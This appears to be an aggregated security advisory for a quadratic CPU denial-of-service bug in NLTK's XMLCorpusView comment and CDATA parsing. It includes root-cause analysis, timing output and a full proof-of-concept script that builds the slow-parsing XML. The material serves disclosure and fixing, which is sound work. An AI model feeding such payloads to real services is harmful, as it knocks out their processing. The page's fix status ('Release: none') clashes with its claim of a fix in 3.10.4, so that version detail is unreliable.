NLTK: XMLCorpusView comment and CDATA parsing permits quadratic CPU denial of service
affected: PyPI
nltk>= 3.6—nltk.corpus.reader.xmldocs.XMLCorpusViewstreaming read (and thenps_chat/framenetreaders built on it) dynamically reproduced:3.6(6/6 checks),3.9.2(6/6),3.10.3(6/6) anddevelop6818767b9(6/6)
Source references (nltk/corpus/reader/xmldocs.py:NNN) are to commit 6818767b99c24659107eb2be9bccd32a3d4bf045 (develop, v3.10.3-15-g6818767b9). The released v3.10.3 wheel's xmldocs.py is byte-identical to that commit, so the same line numbers apply to the released wheel.
Summary
An attacker who can make a victim read a well-formed XML corpus file whose body contains one large comment or CDATA section can pin a CPU core for a time quadratic in the file size, because XMLCorpusView._read_xml_fragment (nltk/corpus/reader/xmldocs.py) re-runs a linear whole-buffer validation after every 1 KiB block while the comment/CDATA terminator is still ahead. XMLCorpusView is NLTK's documented streaming API for XML corpora and is instantiated directly by the NPSChatCorpusReader and FramenetCorpusReader readers; the module header (xmldocs.py:16-20) explicitly handles untrusted corpus XML. The in_tag guard added to this function for GHSA-vp2x covers only a single oversized <...> tag and leaves the CDATA/comment path quadratic in the current release.
Details
Root cause: _read_xml_fragment (xmldocs.py:273-338) accumulates the file into one fragment string in _BLOCK_SIZE (1024) character chunks (xmldocs.py:123, 298-299). After every block that is not yet a well-formed prefix, the fragment is re-validated against _VALID_XML_RE. Two whole-buffer operations dominate:
# xmldocs.py:308
if not in_tag and self._VALID_XML_RE.match(fragment): # whole-buffer match (O(len))
return fragment
# xmldocs.py:312
if re.search("[<>]", fragment).group(0) == ">": # O(1) for this input class:
... # the document starts with '<'
# xmldocs.py:329
if self._VALID_XML_RE.match(fragment[:last_open_bracket]): # whole-buffer prefix match (O(len))
...
For this input class the re.search probe at xmldocs.py:312 is O(1): the fragment always starts with < (e.g. <root>…), so the first </> character is at offset 0 and it never contributes cost. The quadratic cost comes entirely from the two whole-buffer regex matches at xmldocs.py:308 and xmldocs.py:329 (the latter scans the buffer up to the most recent <, which for this input sits near the end of the buffer).
_VALID_XML_RE (xmldocs.py:238-249) is a linear regex (its tempered-dot comment/CDATA bodies (?:(?!-->).)* / (?:(?!\]\]>).)* scan left-to-right in O(length) — confirmed by the embedded script's single-match check), but for a fragment whose terminator is far ahead the match itself fails after scanning the whole buffer. With an unclosed-across-blocks CDATA or comment, every one of the n/1024 blocks pays O(current buffer length) on lines 308 and 329, for a total of ~O(n²) character operations.
The in_tag guard added for GHSA-vp2x (xmldocs.py:283-305) tracks only bare </> characters: it is True inside an unclosed <...> tag and, in that state, skips only the line-308 match. It never represents "the fragment sits inside an unclosed CDATA or comment" — XML allows arbitrary </> inside those constructs — so both the line-308 match and the line-329 backtrack match still fire on every block for a CDATA/comment fragment. The comment block at xmldocs.py:283-289 even documents the intended linearity contract ("re-running it on every 1 KiB block otherwise makes a single oversized tag O(n^2) (CWE-407)"); the guard implements it for the tag branch only.
The single-match cost is linear, not super-linear: the embedded script measures _VALID_XML_RE.match() on 512 KiB → 1 MiB → 2 MiB unclosed-CDATA buffers and gets ≈ 0.074 s → 0.142 s → 0.280 s (≈ 1:1.9:3.8, i.e. linear), asserting the 4× ratio stays well below the quadratic bound. The quadratic total therefore comes from re-running those linear matches per block — the exact CWE-407 pattern the in-tag guard was introduced to eliminate.
Version nuance (all dynamically verified):
3.10.3/develop(guard present): the pinned regex validates CDATA correctly, so both the comment and the CDATA attack documents read successfully and return; both scale super-linearly (t(4n)/t(n) ≈ 13-16; linear would be ≈ 4). The oversized single-tag control reads linearly (ratio ≈ 4.0), proving the quadratic cost is specific to the unguarded CDATA/comment path.3.6/3.9.2(pre-guard): these releases use a lazy_VALID_XML_REwhose CDATA alternative<![CDATA[.*?]]>never matches (the[CDATA[.*?]substring is parsed as a character class), so a CDATA document is rejected withValueError: Unexpected end of file: tag not closedafter the quadratic scan — a separate functional defect. The comment variant is a clean well-formed document on these releases and is likewise quadratic (t(4n)/t(n) ≈ 14-16); the oversized-tag control also reads quadratically there (ratio ≈ 16), i.e. the whole unclosed-construct class GHSA-vp2x addressed is unpatched.
PoC
The self-checking script embedded at the end of this advisory builds a well-formed XML document whose root holds a large comment containing </> characters with no --> before the final marker, drives XMLCorpusView's fragment reader at sizes n and 4n, and asserts the doubling ratio is far above linear. It also runs the CDATA variant, a single-match linearity check (proving the regex itself is not the super-linear factor), a linear-control giant tag, a well-formedness check, and a public-API reachability check, exiting non-zero on any failure.
Scope note: dynamically run on 3.6, 3.9.2, 3.10.3 (released wheels from PyPI / the local 3.10.3 wheel) and develop 6818767b9 (checked out source). No releases outside those were run; the >= 3.6 bound is the oldest release tested. Environment for the recorded runs: CPython 3.10.12, Linux x86_64. Input sizes are 64 KiB vs 256 KiB (attack) and 1 MiB vs 4 MiB (linear control), so a full run takes a few seconds.
Live transcript (recorded run on the 3.10.3 wheel; the 3.6, 3.9.2 and develop 6818767b9 runs are summarized below):
[TIMING] unclosed comment n=65558 t=0.083s 4n=262166 t=1.070s ratio=12.9 (n->returned)
[PASS] attack document is well-formed XML (parses with ElementTree) (both sizes parse; root element tag='root')
[PASS] unclosed-comment read cost scales super-linearly (t(4n)/t(n) > 10; linear ~4) (measured 12.9)
[INFO] in-tag guard present in module: True
[TIMING] CDATA variant n=65561 t=0.142s 4n=262169 t=2.169s ratio=15.3 (n->returned)
[PASS] CDATA variant also super-linear on guard-present build (measured 15.3)
[TIMING] single _VALID_XML_RE.match 256KiB=0.0083s 512KiB=0.0741s 1MiB=0.1419s 2MiB=0.2804s
[PASS] single match scales ~linearly (512KiB->2MiB 4x input ~4x time; not super-linear) (measured 4x ratio=3.79)
[TIMING] oversized tag (control) n=1048576 t=0.059s 4n=4194304 t=0.242s ratio=4.1
[PASS] oversized single tag reads linearly (guard present; t(4n)/t(n) < 8) (measured 4.1)
[PASS] public API list(XMLCorpusView(path, '.*')) reads the attack document (1 item(s) read from 65558-byte document)
RESULT 6/6 checks passed, 0 failed
Other runs (all 6/6; essential lines only):
3.6 (pre-guard): comment ratio=15.5 (returned); CDATA -> ValueError; tag control ratio=16.8; single-match 4x ratio=1.19
3.9.2 (pre-guard): comment ratio=15.0 (returned); CDATA -> ValueError; tag control ratio=16.8; single-match 4x ratio=0.95
develop 6818767b9: comment ratio=13.0 (returned); CDATA ratio=15.3 (returned); tag control ratio=3.9; single-match 4x ratio=3.76
(The pre-guard single-match ratios are meaningless — their dead CDATA alternative fails in O(1) — and are reported for completeness only.)
Impact
- Type: CWE-407 / CWE-400 — CPU exhaustion / algorithmic-complexity denial of service on a single untrusted corpus-file read; no confidentiality or integrity impact.
- Who is impacted: any deployment that feeds corpus XML to
XMLCorpusView(or to thenps_chat/framenetreaders) from a source not fully trusted — the exact "untrusted input" threat model inSECURITY.md. The input is ordinary, well-formed XML; nothing about it is malformed or rejected by any parser. - Attacker requirements: deliver a well-formed XML file whose body contains a large comment or CDATA section with
</>characters and the terminator at the end. No privilege and no user interaction are required beyond the automated read of the file — the same delivery model as other NLTK resource-loading issues (SECURITY.md), where a service, CI pipeline or notebook ingests a corpus file (uploaded, packaged, or fetched by the loader); this justifiesUI:NandAV:Nin the score above. - Effect: measured 256 KiB → ~1.1 s single read; cost scales with the square of the input size (t(4n)/t(n) ≈ 13-16), so a few MiB reaches tens of seconds and tens of MiB reaches minutes of CPU on a single core. Because the file is well-formed and the read eventually succeeds (current releases), ordinary users observe only severe slowdown; a scheduler/job that processes many such files is trivially pinned.
Suggested fix: extend the incremental state tracking to CDATA/comment/DOCTYPE like in_tag already does for tags: while scanning each newly-read block, also track whether the fragment sits inside an unclosed <!... construct (no ]]> / --> / doctype terminator yet), and skip the whole-buffer matches at xmldocs.py:308 and xmldocs.py:329 whenever the fragment is provably non-well-formed for that reason — the same behaviour-preserving argument the in-tag guard already documents. Alternatively, only re-validate the newly-read block plus a bounded suffix instead of the whole growing buffer. Add regression tests mirroring the existing nltk/test/unit/test_quadratic_dos.py cluster (GHSA-vp2x) with comment and CDATA payloads asserting the doubling ratio stays linear.
Reproduction script (self-contained)
#!/usr/bin/env python3
"""Self-checking reproduction of the NLTK XMLCorpusView algorithmic-complexity
CPU DoS for unclosed-across-blocks CDATA / comments (O(n^2) read cost).
Root cause: ``XMLCorpusView._read_xml_fragment`` (``nltk/corpus/reader/xmldocs.py``)
reads a file in 1024-char blocks and accumulates them into a single ``fragment``.
After every block that is not yet a well-formed prefix, it re-runs a *linear*
pass over the whole growing buffer -- ``_VALID_XML_RE.match(fragment)`` and, when
it backtracks, ``_VALID_XML_RE.match(fragment[:last_lt])``. (A third probe,
``re.search("[<>]", fragment)``, is O(1) here because the document starts with
'<'.)
For a fragment that stays "unclosed"
across many blocks -- a CDATA section or comment whose terminator (``]]>`` /
``-->``) lies far ahead -- every block costs O(current buffer length), so a
single document of N bytes costs ~O(N^2) character operations. The in-tag guard
added for GHSA-vp2x tracks only a bare '<'..'>' tag and is blind to unclosed
CDATA / comment state, so this class remains quadratic in the current release.
The attack documents are *well-formed* XML: comments and CDATA may legally
contain '<' and '>'.
Controls:
1. Well-formedness: the attack document parses with ElementTree.
2. Linear baseline on the same reader: an oversized *single tag* of the same
size reads linearly when the in-tag guard is present (the fixed GHSA-vp2x
case). On pre-guard builds it is quadratic too -- reported, not asserted.
3. Public API reachability: ``list(XMLCorpusView(path, ".*"))`` drives the
same sink.
Assertions:
- attack doubling ratio t(4n)/t(n) must clearly exceed the linear bound (~4).
- tag-control doubling ratio must be ~linear (< 8) when the guard is present.
Usage:
python3 repro_xmlcorpusview_unclosed_cdata.py
Env:
PYTHONPATH : site-packages of the nltk version under test (required)
NLTK_BODY_SIZE : comment/CDATA body size in bytes (default 65536)
"""
import io
import os
import shutil
import sys
import tempfile
import time
import xml.etree.ElementTree as ET
# Point NLTK's sandbox at a private data root so the public API reachability
# check below may open its own corpus file (pathsec only trusts data roots and
# private temp dirs; a shared /tmp is not an allowed root).
_DATA_ROOT = os.environ.get("NLTK_DATA")
_CLEANUP_ROOT = None
if not _DATA_ROOT:
_DATA_ROOT = tempfile.mkdtemp(prefix="nltk_xmlview_")
os.environ["NLTK_DATA"] = _DATA_ROOT
_CLEANUP_ROOT = _DATA_ROOT
from nltk.corpus.reader.xmldocs import XMLCorpusView
def elapsed(fn):
start = time.perf_counter()
fn()
return time.perf_counter() - start
def build_comment_doc(body_size):
# Well-formed XML: one root, one large comment containing '<' and '>' and
# no '-->' before the closing marker.
body = ("a<b<c<d>" * ((body_size // 8) + 1))[:body_size]
return "<root><!-- " + body + " --></root>"
def build_cdata_doc(body_size):
# Well-formed XML: one root, one large CDATA containing '<' and '>' and no
# ']]>' before the closing marker.
body = ("a<b<c<d>" * ((body_size // 8) + 1))[:body_size]
return "<root><![CDATA[" + body + "]]></root>"
def build_unclosed_cdata_prefix(body_size):
# The line-308 match input: an accumulating fragment that is still inside
# an unclosed CDATA (no ']]>' yet). A distinct body alphabet avoids CPU-cache
# reuse with the attack-timing buffers above, which would skew the timing.
body = ("x<y<z<w>" * ((body_size // 8) + 1))[:body_size]
return "<root><![CDATA[" + body
def build_giant_tag(body_size):
# Control: a single oversized '<a ...>' tag, no '>' until the very end.
return "<a " + ("x" * body_size) + ">"
def guard_present():
import nltk.corpus.reader.xmldocs as m
with open(m.__file__, encoding="utf-8") as fh:
return "in_tag" in fh.read()
view = XMLCorpusView.__new__(XMLCorpusView)
results = []
def check(name, cond, detail=""):
results.append(bool(cond))
print(f"[{'PASS' if cond else 'FAIL'}] {name}" + (f" ({detail})" if detail else ""))
def read_frag(doc):
"""Drive _read_xml_fragment, tolerating the EOF ValueError that pre-guard
releases raise for CDATA-containing documents."""
try:
return view._read_xml_fragment(io.StringIO(doc))
except ValueError as exc:
return "ValueError: %s" % exc
def time_ratio(build, n1, n4):
d1, d4 = build(n1), build(n4)
t1 = elapsed(lambda: read_frag(d1))
t4 = elapsed(lambda: read_frag(d4))
return d1, d4, t1, t4
# ---- Sizes ---------------------------------------------------------------
body = int(os.environ.get("NLTK_BODY_SIZE", "65536"))
tag1, tag4 = 1 << 20, 4 << 20 # 1 MiB / 4 MiB (guard-present linear baseline)
# ---- Primary attack: large comment unclosed until its final '-->' ---------
c1, c4, t1, t4 = time_ratio(build_comment_doc, body, 4 * body)
ratio = t4 / t1
out1 = read_frag(c1) # outcome probe (returned string vs ValueError)
outcome = "returned" if isinstance(out1, str) and not out1.startswith("ValueError") else out1
print(f"[TIMING] unclosed comment n={len(c1)} t={t1:.3f}s "
f"4n={len(c4)} t={t4:.3f}s ratio={ratio:.1f} (n->{outcome})")
check(
"attack document is well-formed XML (parses with ElementTree)",
ET.fromstring(c1).tag == "root" and ET.fromstring(c4).tag == "root",
f"both sizes parse; root element tag='{ET.fromstring(c1).tag}'",
)
check(
"unclosed-comment read cost scales super-linearly (t(4n)/t(n) > 10; linear ~4)",
ratio > 10.0,
f"measured {ratio:.1f}",
)
# ---- CDATA variant ---------------------------------------------------------
has_guard = guard_present()
print(f"[INFO] in-tag guard present in module: {has_guard}")
d1, d4, td1, td4 = time_ratio(build_cdata_doc, body, 4 * body)
dratio = td4 / td1
dout = read_frag(d1)
doutcome = "returned" if isinstance(dout, str) and not dout.startswith("ValueError") else dout
print(f"[TIMING] CDATA variant n={len(d1)} t={td1:.3f}s "
f"4n={len(d4)} t={td4:.3f}s ratio={dratio:.1f} (n->{doutcome})")
if has_guard:
check(
"CDATA variant also super-linear on guard-present build",
dratio > 10.0,
f"measured {dratio:.1f}",
)
else:
# Pre-guard releases cannot validate any CDATA (their regex's CDATA
# alternative never matches), so the fragment ends in ValueError -- a
# separate functional defect; report only.
check(
"pre-guard CDATA path ends in ValueError (regex cannot validate CDATA; report-only)",
doutcome.startswith("ValueError"),
str(doutcome),
)
# ---- Single-match linearity of _VALID_XML_RE ------------------------------
# The quadratic total comes from re-running a *linear* whole-buffer match on
# every block, not from the regex itself backtracking super-linearly (a single
# match would then also blow up with input size). Verify single-match scaling.
# The assertion uses the 512 KiB -> 2 MiB pair (the 256 KiB size runs ~4x
# faster in an already-warmed engine, so it is reported but not asserted on).
def best_match_ms(buf):
view._VALID_XML_RE.match(buf) # warm-up (cache pattern + char-class state)
return min(elapsed(lambda: view._VALID_XML_RE.match(buf)) for _ in range(3))
ms = {s: best_match_ms(build_unclosed_cdata_prefix(s)) for s in (1 << 18, 1 << 19, 1 << 20, 1 << 21)}
print(f"[TIMING] single _VALID_XML_RE.match 256KiB={ms[1 << 18]:.4f}s 512KiB={ms[1 << 19]:.4f}s "
f"1MiB={ms[1 << 20]:.4f}s 2MiB={ms[1 << 21]:.4f}s")
check(
"single match scales ~linearly (512KiB->2MiB 4x input ~4x time; not super-linear)",
ms[1 << 21] / ms[1 << 19] < 6.0,
f"measured 4x ratio={ms[1 << 21] / ms[1 << 19]:.2f}",
)
# ---- Control: giant single tag on the same reader ---------------------------
if has_guard:
g1, g4, tg1, tg4 = time_ratio(build_giant_tag, tag1, tag4)
gratio = tg4 / tg1
print(f"[TIMING] oversized tag (control) n={tag1} t={tg1:.3f}s "
f"4n={tag4} t={tg4:.3f}s ratio={gratio:.1f}")
check(
"oversized single tag reads linearly (guard present; t(4n)/t(n) < 8)",
gratio < 8.0,
f"measured {gratio:.1f}",
)
else:
g1, g4, tg1, tg4 = time_ratio(build_giant_tag, body, 4 * body)
gratio = tg4 / tg1
print(f"[TIMING] oversized tag (no guard) n={len(g1)} t={tg1:.3f}s "
f"4n={len(g4)} t={tg4:.3f}s ratio={gratio:.1f}")
check(
"oversized single tag also super-linear pre-guard (report-only)",
gratio > 4.0,
f"measured {gratio:.1f}",
)
# ---- Reachability: the public XMLCorpusView API drives the same sink -------
path = os.path.join(_DATA_ROOT, "attack.xml")
with open(path, "w", encoding="utf-8") as fh:
fh.write(c1)
try:
items = list(XMLCorpusView(path, ".*"))
check(
"public API list(XMLCorpusView(path, '.*')) reads the attack document",
len(items) >= 1,
f"{len(items)} item(s) read from {len(c1)}-byte document",
)
finally:
if _CLEANUP_ROOT:
shutil.rmtree(_CLEANUP_ROOT, ignore_errors=True)
passed = sum(results)
failed = len(results) - passed
print(f"RESULT {passed}/{len(results)} checks passed, {failed} failed")
sys.exit(0 if failed == 0 else 1)
Fix status (2026-09-28)
Status: IN PROGRESS (fix on an open pull request, not yet on develop).
Two open pull requests carry a fix.
PR: #3753 "[Do not merge yet] Fix GHSA-8mgp-746c-j5xp: URL-scheme bypass of pathsec.validate_path", open; head da55cab0e at the time of this note (a develop merge on top of 238f81500, the head on which the verdicts below were measured). Fix commits: cf12a5e6a (XMLCorpusView._read_xml_fragment grows its read window geometrically so an unclosed CDATA or comment is re-scanned O(log n) times; SeekableUnicodeStreamReader.readline searches only the fresh span) and 2acc9bd97 (readline accumulates spans in a list). Probe: nltk/test/unit/security_probes/ghsa_j8g8_j4j7_8j54.py on that PR; verdict on its head: FIXED (readline scales 4.1x over a 4x input).
PR: #3895 "[WIP] Bound algorithmic-DoS and uncontrolled-recursion vectors (CWE-400/407/674/1333)", open, head b22ebe144. Fix commit: 002bcf714 (bounds the same two sinks); the #3753 probe run against this head: FIXED (1.6x over a 4x input).
The probe run against develop 2fa3f48fe: VULNERABLE (readline scales 18.7x over a 4x input).
Release: none.
What to do
Remediation is not established yet ("Release: none"). Fixes are currently in progress across open pull requests (#3753 and #3895).
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | nltk | >= 3.6, < 3.10.4 | 3.10.4 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Weakness (CWE)
CWE-400, CWE-407- Platform
- Python (PyPI)
- Package
nltk- Disclosed
- 19.11.2026
- Updated
- 22.11.2026 10:00
Sources and licenses · Edited or translated by DockRay; source rights and applicable licenses are retained.
OSV / GitHub Advisory Database - GHSA-j8g8-j4j7-8j54 - CC BY 4.0
Vulnerability history: nltk
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 79
- First → latest
- 08.2019 11.2026
- Without a fix
- 5
- Exploited in attacks
- 0
Severity breakdown
- Critical 5
- High 41
- Medium 31
- Low 2
Disclosures per year
- 2019: 1
- 2020: 0
- 2021: 2
- 2022: 1
- 2023: 0
- 2024: 1
- 2025: 0
- 2026: 74
-
NLTK: XMLCorpusView comment and CDATA parsing permits quadratic CPU denial of service this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.